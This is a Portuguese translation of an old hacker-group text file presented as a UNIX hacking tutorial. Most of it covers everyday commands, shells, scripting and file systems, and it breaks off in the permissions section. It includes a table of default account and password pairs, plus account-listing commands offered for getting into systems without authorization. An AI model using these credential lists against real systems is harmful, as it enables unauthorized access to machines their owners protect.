+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                        UNIX : Um Tutorial de como Hackear                   +
+                        Por: Sir Hackalot (Traduzido e melhorado por LeBeau) +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

----------------------
o Intencao desse arquivo:
----------------------

     Esse arquivo foi criado com a intencao de ser um tutorial de UNIX no comeco, 
para deixar voce mais familiar com o sistema operacional.  UNIX e apenas um
sistema operacional, como e o MS-DOS, AppleDOS, AmigaDOS.  UNIX foi projetado para
ser um multi-usuario-multi-tarefa sistema, trazendo a seguranca nao encontrada
no MSDOS, AppleDOS, etc.  Esse arquivo ira tentar ensinar aos iniciantes que nao tem
uma pista de como usar o UNIX a ter um bom comeco, e podem, portanto, ensinar aos
profissionais algo que eles nao sabiam antes.  Esse arquivo foi feito com base no
UNIX SYSTEM V e suas variantes.  Quando eu falo sobre unix, e geralmente sobre SYSTEM V
(rel 3.2).

Esse arquivo pode ter algum erro de soletracao, etc, ou discrepencias uma vez que ele foi
feito depois de muito tempo de escrita, devido a escola, trabalho, namorada,
etc.  Por favor, nao me chame de palhaco devido a esse arquivo.  Se voce nao gostou, 
apague-o.

Esse arquivo e distribuido dentro do PHAZE Inc.  Aqui estao os membros (e ex membros)
The Dark Pawn
The Data Wizard
Sir Hackalot (eu)
Taxi (ummm.. preso)
Lancia (preso)
The British Knight (preso)
The Living Pharoah (preso)

_____________________________________________________________________________


-------------
o Dedicacao:
-------------
        Esse arquivo e dedicado para os membros do LOD quemoram em Atlanta.  
Os membros que estao presos era otimos hackers, especialmente 
The Prophet. Boa sorte a voces caras, e eu espero ver voces de novo por ai.
_____________________________________________________________________________

------------------------
o Uma pequena historia:
------------------------

        UNIX, e claro, foi inventado pela AT&T no anos 60, feito para ser
"um sistema operacional de programadores."  Enquanto que esse proposito nao foi
alcancado nas primeiras versoes do UNIX, parece que agora, UNIX e um SO para 
programadores.  O UNIX, como eu falei antes, e um multi-tarefa/multi-usuario SO.
Ele tambem e escrito em C, ou pelo menos, grandes partes dele, o que faz dele 
um sistema operacional portatil. Nos sabemos que o MSDOS corresponde a maquinas
IBM/clone, certo?  Bem, esse nao acontece com o UNIX.  Nos nao associamos ele com
nenhum computador, uma vez que ele foi adaptado para muitos, e existem muitas
variacoes de UNIX [ou seja, UNIX modificado por um vendedor, ou algo assim].  
Alguns computadores AT&T roda ele, e tambem alguns rodam MSDOS [AT&T 6300].  
As estacoes de trabalho SUN rodam SunOS, uma variante do UNIX, e alguns computadores
rodam Ultrix, a versao VAX do UNIX.  Lembre-se, na se mate quanto ao nome [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], eles ainda tem muito em comum, tais como os 
commandos que o SO usa.  Algumas variantes possuem comandos que os outros nao,
mas eles sao basicamente similares no fato de eles terem quase todos os mesmos
commandos/arquivos de dados.  Quando alguem tenta falar a voce que o UNIX roda melhor
com um certo tipo de computador, ele podem estar certos, mas lembre-se alguns computadores
tem mais de um SO.  Por outro lado, alguem pode falar para voce que o
UNIX e para um VAX o que um MSDOS e para os IBM/clones.  Isso e falso, e a unica
razao que eu falei isso, e porque eu tenho visto muitas mensagens com info/comparacoes 
como essas, que confundem usuarios quando eles veem um sitema VAX rodando VMS.

____________________________________________________________________________


-------------------------------
o Identificando um login do UNIX
-------------------------------

        De agora em diante, eu vou estar me referindo a todas as variantes do UNIX 
como UNIX, assim, quando eu falo algo sobre UNIX, isso geralmente significa todas as variantes
(Unix System V variantes que sao: BSD, SunOS, Ultrix, Xenix, etc.), a menos que eu fale
de uma variante em particular.

        Ok.  Agora e hora de eu contar de como o unix geralmente felicita voce.
Primeiro, quando voce chama um UNIX, ou conecta com ele, voce ira ter geralmente um
prompt como esse:

login:

Ok.  E muito legal e bonito.  Isso significa que e PROVAVELMENTE um unix,
entretanto existem BBS's que alteram o seu login de entrada para ficar parecido
com o do UNIX, o que algumas pessoas pensem que estao no Unix. [Hah!].
Alguns UNIXes ira mostrar uma mensagem antes do login: como por exemplo:


Welcome to SHUnix.  Please log in.

login:

        Ou algo como isso.  UNIXes de acesse publico [como BBS's publicas] irao
mostrar a voce como dar um logon se voce e um novo usuario.  Infelizmente esse arquivo
nao fala sobre UNIXes de acesso publico, mas eu irei falar sobre eles mais tarde, na
UUCP/UseNet/Bitnet.
        OK.  Voce encontrou o prompt de login!  Agora, o que voce precisa fazer
aqui e entrar uma conta valida.  Uma conta geralmente consiste de 8 caracteres
ou menos.  Depois de voce entrar em um conta, voce ira provavelmente pegar um prompt
do Password de algum tipo.  Os prompts podem variar como o codigo fonte do programa de login
que geralmente vem com o UNIX.
Bem, a maneira mais facil que eu posso falar sobre login e basicamente essa:
tenha uma conta, ou tente os defaults.  Os defaults sao os que vem com o SO,
de maneira padrao.  A lista de alguns dos Defaults sao as seguintes:

CONTA                           PASSWORD
-------                         --------
root                            root      - Raramente aberta para hackers
sys                             sys / system / bin
bin                             sys / bin
mountfsys                       mountfsys
adm                             adm
uucp                            uucp
nuucp                           anon
anon                            anon
user                            user
games                           games
install                         install
reboot                            * veja abaixo
demo                            demo
umountfsys                      umountfsys
sync                            sync
admin                           admin
guest                           guest
daemon                          daemon

As contas root, mountfsys, umountfsys, install, e algumas vezes sync sao
contas com nivel de root, significado que elas tem poder de sysop, ou poder total
Outras contas sao apenas contas de "nivel de usuario" significando que elas apenas
tem poder sobre arquivos/processos que elas criaram.  Eu falarei disso mais tarde, 
na secao de acesso a arquivo.  O login reboot e conhecido como sendo um login 
de comando, que apenas simplesmente nao deixa voce entrar no SO, mas executa 
um programa dado a ele.  Ele geralmente faz o que diz, reinicializa o sistema
Ele pode nao ser padrao em todos os sistemas UNIX, mas eu o tenho visto no
UNIX da UNISYS e tambem em alguns sistemas HP/UX [Hewlett Packard Unixes].  
Assim, essas contas nao tinhas senhas [reboot], o que e realmente estupido.

COMANDAR O LOGIN:
---------------

Existe como "comandar o login", que, como reboot, executa um comando e depois
da um log off permitindo voce usar o interpretador de comandos. BSD e notorio
por ter esses, e consequentemente, tambem os computadores da  MIT. Aqui vao alguns:

rwho - mostra quem esta online
finger - mesmo
who - mesmo

Esses sao os mais usados, uma vez que ele irao dar os nomes das contas que estao  
online, ou mostrando a voce muitas contas que atualmente existem.


Erros:
-------

Quando voce tem uma conta invalida / senhas invalida, ou ambos, ira aparecer  
algum tipo de erro. Geralmente e a messagem "login incorrect".  Quando o computador
mostra a voce isso, voce fez algo errado ou por ter errado a conta ou por ter errado
a conta certa com uma senha errada.  Ele nao mostra que erro que voce fez, por
razoes.  Tambem quando voce da um login incorreto, o log de erros no sistema e alterado
permitindo que os sysops saibam algo sobre o invasor.

        Outro erro e "Cannot change to home directory" ou "Cannot Change
Directory."  Isso signica que nao existe "home directory" que e essencialmente o
diretorio 'raiz' para uma conta, que e o diretorio que voce inicia.
No DOS, voce comeca no A:\ ou C:\ ou em qualquer outro, mas no UNIX voce inicia
no /homedirectory.  [Nota: A / e usada nos diretorios no UNIX, nao um \ ].
Muitos sistemas ira dar um log off em vc depois disso, mas alguns irao mostrar que vc
esta no diretorio raiz [ '/'].

        Outro erro e "No Shell".  Quer dizer que nenhum "shell" foi definido
para essa conta em particular.  O "shell" sera explicado mais tarde.  Alguns
sistemas ira dar um log off em voce depois dessa messagem.  Outros ira falar a voce que eles
irao usar o shell regular, falando "Using the bourne shell", ou "Using sh"

-----------------------------
Contas no Geral             :
-----------------------------

        Essa secao e para tentar descrever a voce a estrutura do usuario
no ambiente UNIX.
        Ok, pense que o UNIX tem 2 niveis de seguranca: poder absoluto,
ou apenas um usuario regular.  Aqueles que tem poder absoluto sao os usuarios com
nivel de root.  Ok, agora e hora de pensar em numeros.  Numeros associados no UNIX
com nomes de contas.  Cada conta ira tem um numero.  Algumas irao ter o mesmo numero.
Aquele numer e o UID [user-id] da conta.  O UID do root e 0.
Qualquer conta que possua UID igual a 0 ira ter nivel root.
Unix nao trata com os nomes de contas (logins) mas somente com o numero 
associado a elas.  Portanto, se meu user-id e 50, e mais alguem e 50,
nos dois iremos ter poder absoluto com o outro somente, com mais ninguem.
_____________________________________________________________________________

---------------
Shells        :
---------------

        Um shell e um programa executavel que carrega e roda quando um usuario
entra, e esta na memoria.  Esse "shell" pode ser qualquer programa executavel
e esta definido no arquivo "passwd".  Cada login pode ter um unico  "shell".  
Ok.  Agora o shell que nos geralmente iremos trabalhar e um interpretador de 
comandos.  Um interpretador de comandos e simplesmente algo como o 
o COMMAND.COM do MS-DOS, que processa comandos, e envia eles depois para o 
kernel [sistema operacional].  Um shell pode ser qualquer coisa, como eu disse 
poder ser qualquer program mas o unico que voce precisa e um interpretador de comandos.  
Aqui estao o shells usuais que voce encontra:

sh - Esse o shell basico. Ele e seu "COMMAND.COM" basico no UNIX.  Ele tem uma
     linguagem em "script", como muitos do interpretadores de comandos no UNIX.

csh - Esse e o shell do "C", que permite a voce entrar comandos em "C".
ksh - Esse e o korn shell.  Apenas outro interpretador de comandos.
tcsh - Esse e um, que e usado na MIT eu acho.  Permite edicao de comandos.
vsh - visual shell.  E um programa de menu.  Algo tipo Windows
rsh - restricted shell OU remote shell.  Os dois serao explicados depois

        Existem muitos outros, incluindo os shells "homemade ", que sao  
programas escritos pelo dono do unix, ou para um unix especifico e eles
nao sao padrao.  Lembre-se, o shell e apenas o programa que voce pega para 
usar e quando voce para de executa-lo, voce da um log off.  Um bom exemplo de um
shell homemade e o Eskimo North, um unix de acesso publico o shell e chamado
"Esh", e e algo tipo uma BBS de aperte-uma-tecla,
mas olha so, ele continua sendo um shell. O numero para o eskimo north e 206-387-3637.
[206-For-Ever]. 
        Muitas companhias usam Processadores de Texto, banco de dados, e outras coisas
como um shell para o usuario, para prevenir abuso, e fazer a vida melhor para o usuario 
como operadores de computadores sem pratica.  Muitos hospitais medicos usam esse tipo de 
shell na Georgia, a felizmente, esse programas possuir enormes falhas no UNIX.
Tambem, uma BBS pode rodar com um shell.  Tente a Jolnet [312]-301-2100, eles
dar a voce uma escolha entre um interpretador de comandos ou um shell de BBS.
Quando voce tem um interpretador de comandos, o prompt geralmente e um:
 $
quando voce e um usuario root o prompt e geralmente um:
 #
A variavel, PS1, pode ser alterada para ter um prompt.
Exemplo, se PS1 e "HI:", seu prompt ira ser:
 HI:

_____________________________________________________________________________

------------------------
Caracteres especiais, ETc:
------------------------

Control-D : Fim do arquivo.  Quando usar mail ou um editor de textos, isso ira finalizar
a messagem ou arquivo texto.  Se voce esta no shell e aperta control-d voce estara desconectado.

Control-J: Em alguns sistemas, isso e como a tecla enter.
@ : Algumas vezes um "null"
? : Isso e um coringa.  Pode representar uma letra. Se voce especificar
   algo na linha de comando como "b?b" Unix ira procurar por bob,bib,bub,
   e qualquer outra letra/numero entre a-z, 0-9.
* : isso pode representar qualquer numero de caracteres.  Se voce especificar um "hi*"
    Ele ira usar "hit", him, hiiii, hiya, e qualquer coisa que inicie com
    hi.  "H*l" pode ser hill, hull, hl, e qualquer coisa que comece com um
    H e termine com um L.

[] - Especifica um padrao.  se eu fiz b[o,u,i]b unix ira pensar: bib,bub,bob
     se eu fiz: b[a-d]b unix ira pensar: bab,bbb,bcb,bdb.  Entendeu mermao? O
     [], ?, e * sao geralmente usado com o copy, deletando arquivos, e listagens de 
     diretorios.

QUALQUER COISA no Unix e sensitivo quanto a maiscula/minusculas.  isso significa que "Hill" 
e "hill" nao sao a mesma coea.  isso permite que muitos arquivos sejam armazenados, uma vez que
"Hill" "hill" "hIll" "hiLl", etc. sao arquivos diferentes.  Assim, quando usar o
[], voce tem que especificar letras em maiusculas se algum arquivo que voce estiver procurando
tem letras maiusculas.  No entanto, a maioria esta em minusculas.

----------------
Comandos para usar:
----------------

Agora, eu vou mostrar alguns do mais usados comandos do UNIX, eu agirei como se estivesse
digitando no prompt.

ls - isso mostra o diretorio.  Sem argumentos, ele ira apenas mostrar arquivos
     em uma coluna ou em multi-colunas, dependendo do programa ls que voce tem acesso.

        example:
        $ ls
        hithere
        runme
        note.text
        src
        $
        a opcao -l ira dar a voce informacao a mais nos arquivos.
        $ ls -l
        rwx--x--x sirhack     sirh    10990 runme
        e assim vai....

O "rwx--x--x" e a permissao do arquivo. [Explicada mais tarde]
o "sirhack    sirh" e o proprietario do arquivo/grupo onde o arquivo esta.
sirhack = dono, sirh = grupo de usuario [explicado mais tarde]
o 10990 e o tamanho do arquivo em bytes.
"runme" e o nome do arquivo.
O formato varia, mas voce tem a ideia geral.

cat - Isso mostra o conteudo do arquivo na tela.  deve ser usado em arquivos textos.
      apenas use isso com arquivos binarios para deixar o usuario louco [explicado mais tarde]
      ex:
      $ cat note.txt
      This is a exemplo text file!
      $

cd - muda diretorio .  Voce usa ele assim: cd /dir/dir1/dir2/dirn.
     o dir1/etc.... descreve o nome do diretorio.  Digamos que eu queira ir para
     a raiz.
     ex:
     $ cd /
     *ok, estou aqui*
     $ ls
     bin
     sys
     etc
     temp
     work
     usr
 todos os acima sao diretorios, vamos ver.
     $ cd /usr
     $ ls
     sirhack
     datawiz
     prophet
     src
     violence
     par
     phiber
     scythian
     $ cd /usr/sirhack
     $ ls
     hithere
     runme
     note.text
     src
     $
ok, agora, voce nao tem que entrar o nome do diretorio completo, se voce estiver no
directorio, e quer ir para um diretorio que esta ali [seria o "src"], voce
pode digitar "cd src" [sem "/"].  Em vez de usar "cd /usr/sirhack/src" a partir do 
diretorio sirhack, voce pode fazer "cd src"

cp - isso copia um arquivo. sintaxe para isso e "cp origem destino"
     $ cp runme runme2
     $ ls
     hithere
     runme
     note.text
     src
     runme2
Caminhos completos podem ser incluidos, para copiar de um diretorio para outro.
     $ cp runme /usr/datwiz/runme

mv - isso renomeia e/ou move um arquivo. sintaxe "mv nomeatual novonome"
     $ mv runme2 runit
     $ ls
     hithere
     runme
     note.text
     src
     runit
    Arquivos podem ser renomeados para outros diretorios.
     $ mv runit /usr/datwiz/run
     $ ls
     hithere
     runme
     note.text
     src
     $ ls /usr/datwiz
     runme
     run

pwd - fornece o diretorio atual
     $ pwd
     /usr/sirhack
     $ cd src
     $ pwd
     /usr/sirhack/src
     $ cd ..  (Tem espaco entre cd e ..)
     $ pwd
     /usr/sirhack
     [ o ".." significa o diretorio anterior. ]
     $ cd ../datwiz
       [significa cd /usr/datwiz]
     $ pwd
     /usr/datwiz
     $ cd $HOME
     [vai para o diretorio home]
     $ pwd
     /usr/sirhack

rm - apaga um arquivo.  sintaxe "rm arquivo" ou "rm -r diretorio"
     $ rm note.text
     $ ls
     hithere
     runme
     src
     $

write - chat com outro usuario.  Bem, "escreve" para outro usuario.
sintaxe: "write usuario"
    $ write scythian
    scythian foi notificado
    Hey Scy! What up??
    Message from scythian on tty001 at 17:32
    hey!
    me: So, hows life?
    scy: ok, I guess.
    me: gotta go finish this text file.
    scy: ok
    me: control-D [para sair do programa]
    $

who [w,who,whodo] - mostra quem esta conectado
    $ who
    login       term   logontime
    scythian +  tty001 17:20
    phiberO  +  tty002 15:50
    sirhack  +  tty003 17:21
    datawiz  -  tty004 11:20
    glitch   -  tty666 66:60
    $
    o comando "who" varia a partir da informacao dada. um "+" significa que
    voce pode dar um "write" para aquele terminal, um "-" significa que voce nao
    pode.

man - mostra o manual de algum comando.  sintaxe "man comando"  Esse e um programa
      de ajuda.  Se voce quiser saber como usar o comando "who" voce faria:
    $ man who
    WHO(1)   xxx......
      e ele vai mostrar a voce.

stty - altera as caracteristicas do seu terminal.  Voce tera que dar um "man stty"
     uma vez que cada stty e diferente.
     um exemplo pode ser:
    $ stty -parenb
      para fazer os parametros de dados serem N,8,1.  Um monte de Unixes operam com
      e,7,1 por padrao.

sz,rz - envia e recebe via zmodem
rx,sx - envia e recebe via xmodem
rb,sb - envia via batch ymodem.   Esses 6 programas podem ou nao estar no unix.
umodem - envia/recebe via umodem.
      $ sz arquivo
      pronto para enviar...
      $ rz filename
      por favor envie seu arquivo....
      ...etc..

ed - editor de textos.  Usar "ed arquivo"  para criar um arquivo que nao
     existe, apenas entre "ed arquivo"
     algumas versoes do ed ira dar a voce um prompt, como "*" outros nao
     $ ed textonovo
     0
     * a
     This is line 1
     This is line 2
     [control-z]
     * 1 [para ver a primeira linha]
     This is line 1
     * a [continua acrescentando]
     This is line 3
     [control-z]
     *0a [acrescenta depois da linha 0]
     This is THE first line
     [control-z]
     1,4l
     This is THE first line
     This is line 1
     This is line 2
     This is line 3
     * w
     71
     * q
     $
   O 71 e o numero de bytes escritos.
   a = acrescenta
   l = lista
   # = mostra o numero da linha #
   w - escreve
   l arq = carrega arq
   s arq = salva para arq
   w = escreve para arquivo atual
   q = sai
mesg - altera permissao de escrever ligado/desligado para seu terminal (permite chat)
     formato "mesg y" ou "mesg n"
cc - O compiler C.  explicado mais tarde.
chmod - altera o modo de um arquivo.  Muda o acesso em outras palavras.
        sintaxe: "chmod modo arquivo"
        $ chmod a+r newtext
      Agora qualquer um pode ler pode ler o newtext.
      a = todos (u = voce / g = seu grupo / o = outros grupos)
      r = leitura. (w = escrever / x = executar) Isso sera explicado mais tarde na secao 
      de acesso a arquivos.

chown - altera o dono de um arquivo.
       sintaxe: "chown novodono arquivo"
       $ chown scythian newtext
       $
chgrp - altera o grupo [explicado mais tarde] de um arquivo.
       sintaxe: "chgrp group file"
       $ chgrp root runme
       $
finger - mostra info basica de uma conta.  Formato: finger conta
grep - procura por texto em um arquivo.  sintaxe: "grep texto arquivo"
       $ grep 1 newtext
       This is Line 1
       $ grep THE newtext
       This is THE first line
       $ grep "THE line 1" newtext
       $

mail - Esse e um utilitario muito usado.  Obviamente, voce ja sabe o que isso 
        faz pelo nome.  Existem muitos utilitarios pada o mail, como o ELM, MUSH
        e MSH, mas o programa basico de "mail" e chamado de "mail".  O modo de usar
        e:
        "mail nome@conta" ou
        "mail nome"
        ou
        "mail"
        ou "mail ender1!ender2!ender3!usuario"

        "mail nome@endereco" - Isso e usado para enviar mail para alguem em outro 
sistema, que e geralmente outro UNIX, mas algumas maquinas DOS e algumas maquinas
VAX recebem o E-mail do UNIX.  Quando voce usa "mail nome@endereco" o  
sistema que voce esta deve ter um "carteiro esperto" [conhecido como smail], e deve
ter o que nos chamamos de mapas do sistema.  O smail ira encontrar o "emdereco" 
dado com o comando e expandilo para o caminho completo geralmente.  Eu podia fazer como
isso: mail phiber@optik
           e depois fazer isso no computador:

           mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Nao ligue para isso, Eu estou apenas explicando o principal da coisa.
Agora, se nao tiver nenhum smail conectado, voce tera que saber o caminho completo
ate a conta da pessoa. Exemplo, eu quero enviar um email para o
.. phiber.  Eu faco isso, caso eu nao tenha smail:

  $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
    [control-D]
  $
Assim, quando ele receber ele, devera existir uma 20 linhas de informacao, com
uma marcacao de cada sistema que minha messagem passou, e a linha "from"
vai estar assim:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack 

        Agora, para correio local, apenas digite "mail nome" onde nome e a conta
que voce quer enviar o mail.  Depois digite sua messagem.  Depois finalize com um
control-D.

        Para ler o e-mail, apenas digite mail.  Ex:

        $ mail

        From scythian ............
        To sirhack ............
        Subject: Well....

        Arghhh!

        ?
 Os pontos representam dados omitidos.  Cada programa de email possui seu proprio cabecalho.
 Aquele ? e um prompt.  No prompt eu posso digitar:

        d - deleta
        f nome - reenvia para nome
        w arq - escreve a mensagem para um arquivo chamado arq.
        s arq - salva a messagem com cabecalho para um arquivo
        q - sai / salva o e-mail
        x - sai, mas nao salva nada
        m nome - mail para o nome
        r - devolve
        [enter] - le a proxima mensagem
        + - adianta uma messagem  
        - : volta um   
        h - imprime o cabecalho das mensagens que estao na sua caixa de correio.

Existem mais, para ve-las, digite '?'.

--------

Se voce envia mail para alguem de fora do seu sistema, voce tera que espera um longo
tempo para uma noficacao de recebimente, uma vez que e apenas uma letras.  Um  
"carteiro" tera que pegar ela.
O sistema pode desconectar, e usar UUCP para transferir e-mail.  Geralmente, 
contas uucp nao sao boas para ninguem, a menos que voce tenhas uucp disponivel para 
interceptar e-mail.

ps - processo.  Esse comando permite a voce ver o que voce esta atualmente fazendo 
na memoria.  Toda vez que voce roda um programa, ele fica ligado a um numero de
identificacao de processo (PID), para fins de controle de contas, e assim ele pode ser
encontrado na memoria, ou ser apagado por voce, ou pelo root.  Geralmente, a primeira
coisa em uma listagem de processo pelo "ps" e seu nome shell.  Digamos eu esteja 
conectado como sirhack, usando o shell "csh" e rodando "watch scythian".  
O program de escuta deve estar no background, significando que ele e capaz de fazer coisas
enquando ele estiver rodando:
  $ ps
  PID  TTY  NAME
  122  001  ksh
  123  001  watch
  $
  Isso e um PS encurtado.  E uma listagem padrao [curta por sinal].
  A coluna TTY representa o "tty" [disposito de e/s] que o processo esta rodando.
  Isso e somente usado realmente se voce esta usando layers 
  ou mais de uma pessoa esta conectada com a mesma conta.  Agora
  "ps -f" ira dar a voce uma listagem completa do processo de voce mesmo, 
  assim em vez de ver somente o programa "watch" voce ira ver "watch scythian"

kill - mata um processo.  E usado para terminar um programa na memoria obiamente.
Voce pode somente matar processos proprios [aqueles que voce comecou], a menos que 
voce seja root, ou seu EUID seja o mesmo que o do processo que voce quer matar.
(Vou explicar euid mais tarde).  Se voce matar o processo shell, voce sera desconectado.
Da mesma forma, se voce matar o processo de alguem, eles serao desconectados tambem.
Assim, se eu disse "kill 122" Eu serei desconectado.  Entretando, kill apenas envia
um sinal para o UNIX dizendo pra ele matar um processo.  Se voce usar a sintaxe
"kill pid" entao UNIX mata ele quando ele terminar, o que pode ser nunca.   Assim,
voce pode especificar urgentemente!  Tente "kill -num pid"
Kill -9 pid  e um kill definitivo quase instantaneamente.  Assim se eu fizer isso:
 $ kill 122
 $ kill 123
 $ ps
 PID   TTY   NAME
 122   001   ksh
 123   001   watch
 $ kill -9 123
 [123]: killed
 $ kill -9 122
 garbage
 NO CARRIER

Tambem, voce pode dar um "kill -1 0" para matar o processo de shell para desconectar-se.
Isso sera util nos scripts (explicados mais tardes).

-------------------
Programacao em Shell
-------------------

        Programar em Shell e basicamente fazer um arquivo "script" para o 
shell padrao, pode ser sh, ksh, csh, ou algo nesse tipo.  E como um
arquivo batch no MSDOS, mas mais complexo, e mais Flexivel.

Primeiro, vamos para as variaveis.  Variaveis obviamente podem ter um  valor.
Que podem ser strings ou numeros.

numero=1

        Isso vai dar um valor 1 para a variable chamada "numero".

string=Hi There
ou
string="Hi There"

        Ambas irao dar um valor "Hi there" para a varivel.

        Usar uma variavel e diferente.  Quando voce quiser usar uma variavel
        voce deve colocar um simbolo dollar ($).  Essas variaveis podem ser
        usadas como argumentos em programas.  Quando eu disse que scripts sao
        como arquivos batch, Eu quis disser isso.  Voce pode entrar qualquer nome 
        de um programa em um script, e ele ira executar ele. Aqui vai um script 
        exemplo:

counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter

        Esse script ira traduzir para "ps -uf scythian" e depois ira imprimir
        "1" depois de ter terminado.  ECHO mostra algo na tela, ou numerico ou 
        uma string.

Outros comandos / Exemplos:

read - le algo para uma variavel.  formato: read variavel .  O sinal de dollar
        nao e necessario aqui!  Se eu quiser pegar o nome de alguem, eu posso 
        fazer:

echo "QUal o seu nome?"
read hisname
echo Ola $hisname

        QUal o seu nome?
        Sir Hackalot
        Ola Sir Hackalot

        Lembre-se, read pode ler valores numericos tambem.

trap - Isso espera alguem usar o comando de interrupcao. (Ctrl-c)
       formato: trap "commando ; commando ; commando ; etc.."
Example:
        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
        'You gotta see this through!'"

        Agora, se eu teclar control-c durante o script depois dessa estrutura for
        executada, eu terei:
        Noway!! You are not getting rid of me that easy
        You gotta see this through!

exit : formato:exit [num]  Isso sai do shell [quits] retornando um valor
        num de saida.

-----
CASE
-----

        O Case pode ser usado para se fazer menus.  O formato do comando ou 
        estrutura e:
        case variavel in
        1) comando;
           comando;;
        2) comando;
           comando;
           comando;;
        *) comando;;
         esac
        Cada parte pode ter qualquer numero de comandos. O ultimo comando entretanto
        tem que ter um ";;".  Por exemplo:

        echo "Escolha:"
        echo "(D)iretorio (L)ogoff (S)hell"
        read choice
        case $choice in

        D) echo "Listando Diretorios...";
           ls -al ;;
        L) echo Bye;
           kill -1 0;;
        S) exit;;
        *) Echo "Erro! Nao e um comando";;
        esac

        O esac marca o fim da funcao case. Ele deve vir depois do 
        ULTIMO comando.

Loops
-----

        Ok, loops.  Existem duas funcoes de loop. O loop for e o repeat.
        
        repeat funciona assim: repeat algo algo1 algo2
        isso ira repetir um secao de seu script para cada "algo".
        digamos que eu faca isso:
        repeat scythian sirhack prophet

        Eu vou ver "scythian" depois sirhack depois prophet na tela.

        O loop for e definido como "for variavel in algo
                                    do
                                    ..
                                    ..
                                    done"

        exemplo:
        for counter in 1 2 3
        do
        echo $counter
        done

        Ira escrever 1 depois 2 depois 3.

Usando TEST
----------
formato:  Test variavel optcao variavel

As opcoes sao:
-eq    =
-ne    <> (diferente)
-gt    >
-lt    <
-ge    >=
-le    <=

para strings e: = para igual  != para diferente.

Se a condicao e verdadeira, um zero e returnado.  Veja:

        test 3 -eq 3

isso ira fazer um test 3 = 3, e um 0 sera retornado.

EXPR
----

Isso e para funcoes numericas.  Voce nao pode simplesmete digitar
echo 4 + 5
e ter uma resposta.  voce deve disser:
expr variavel [ou numero] operador variavel2 [ou numero]
o operadores sao:

+ mais
- menos
* multiplicacao
/ divisao
^ - exponenciacao (em alguns sistemas)

exemplo :   expr 4 + 5
var = expr 4 + 5
var deve ter 9.

        Em alguns sistemas, expr algumas vezes imprime uma formula.  Ou seja,
        22+12 nao e igual a 22 + 12.  Se voce fizer expr 22+12 voce ira ver:
        22+12
        Agora se for expr 22 + 12 voce vera:
        34


VARIAVEIS DO SISTEMA
----------------

        Existem variaveis usaddas pelo shell, e sao geralmente mantidas no
arquivo .profile [explicao mais tarde].

HOME - lugar do seu diretorio home.
PS1  - O prompt que voce tem. geralmente $ .  Num BSD e geralmente &
PATH - Esse e o caminho de procura por programas.  Quando voce digita um programa
para ser executado, ele nao esta na memoria; ele deve ser carregado do disco.  
Muitos comandos nao estao na memoria como no MSDOS. Se um programa esta no 
caminho de procura, ele sera executado sem problema onde voce esta.  Se nao
voce tera que esta no diretorio onde ele esta.  Um path e um conjunto de diretorios
basicamente, separados por um ":".  Aqui vai um caminho de procura tipico:

        :/bin:/etc:/usr/lbin:$HOME:

Quando voce tentar executar um program, Unix ira procurar por ele no /bin,
/etc, /usr/lbin, e no diretorio home, e se nao for encontrado, um erro aparece.
Ele procura em diretorios na ORDEM do path.  Assim se voce tem um programa chamado
"sh" no seu diretorio home, e digitar "sh", Mesmo estando no seu diretorio home,
ele ira executar o que esta no /bin. Assim, voce deve criar seu path sabiamente.
Unixes de acesso publico fazem isso para voce, mas alguns sistemas que voce encontrar
podem nao ter um path feito.

TERM - Esse e seu controle do terminal.  UNIX tem uma biblioteca de funcoes 
chamadas "CURSES" que pode pegar vantagem de qualquer terminal, fornecendo os codigos 
de escape encontrados.  Voce deve ter seu term configurado para algo se voce roda
programas orientados por telas.  Os codigos/nomes de escape dos terminais sao encontrados
em um arquivo chamado TERMCAP.  Nao sinta mal quanto a isso.  apenas altere seu term
para  ansi ou vt100.  CURSES ira deixar voce saber se ele nao pode manipular sua emulacao
de terminal.


-------------------
O compilador em C
-------------------

        Isso sera uma introducao apenas.  Porque?  Porque se voce quiser aprender C, va
        comprar um livro.  Eu nao tenho tempo para escrever outro arquivo sobre
        C, por isso ser muito extenso.  Basicamente, muitos executaveis sao programados
        em C.  Codigos fontes no unix sao encontrado como arquivo.c  .
        Para compilar algum apenas digite "cc arquivo.c".  Nem todos os programas em C irao
        compilar, uma vez que eles dependem de outros arquivos que nao estao la,
        ou sao apenas modulos.  Se voce ver algo chamado "makefile" entao voce pode
        geralmente, digitar apenas "makefile" no prompt, e a;go ira ser compilado
        or tentara ser compilado.  Quando usar makefile ou CC, sera muito esperto usar
        o operando de background uma vez que compilar algumas vezes demora muito tempo.
        IE:
        $ cc login.c&
        [1234]
        $
        (O 1234 for oi o numero do processo que ele ficou identificado).


_____________________________________________________________________________

---------------
O sistema de arquivos
---------------

        Essa e uma parte do UNIX instrumental.  Se voce nao entendes essa
secao, voce nunca sera capaz de hackear Unix, uma vez que muito do que voce
tem que fazer depende disso.

Primeiro, vamos comecar a falar sobre a estrutura de diretorio.  Ela e basicamente
um sistema de arquivos hierarquico, ou seja,  ele comeca na raiz e expande-se,
como no MSDOS, e possivelmente AmigaDos.

Aqui e uma listagem de uma arvore de diretorios:  (d) significa diretorio

                        /  (root dir)
                        |
                        |--------------------|
                      bin (d)               usr (d)
                                        ----^--------------------
                                        |        |              |
                                    sirhack(d)  scythian (d)    prophet (d)
                                        |
                                        src (d)

Agora, esse sistema particular contem os seguintes diretorios:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Espero que voce tenha entendido essa parte, e voce deve.  Tudo expande a partir do
diretorio raiz.

o Permissoes de arquivos
------------------

Agora, isso e realmente o barato.  Permissoes de arquivos.  Nao e muito dificil
entender permissoes de arquivos, mas eu irei explicar profundamente de qualquer jeito.

OK, agora voce deve entender de grupos de usuarios tao bem como nomes de usuarios, todos
pertencem a um grupo.  No prompt $, voce pode digitar 'id' para ver quais o grupos que
voce pertence.  Ok, grupos sao usados para permitir que pessoas acessem certas coisas.
ao inves de so ter uma pessoa controlando/tendo acesso para certos arquivos.
Lembre-se tambem que o Unix olha o UID de alguem para determinar acesso, nao o
nome do usuario.

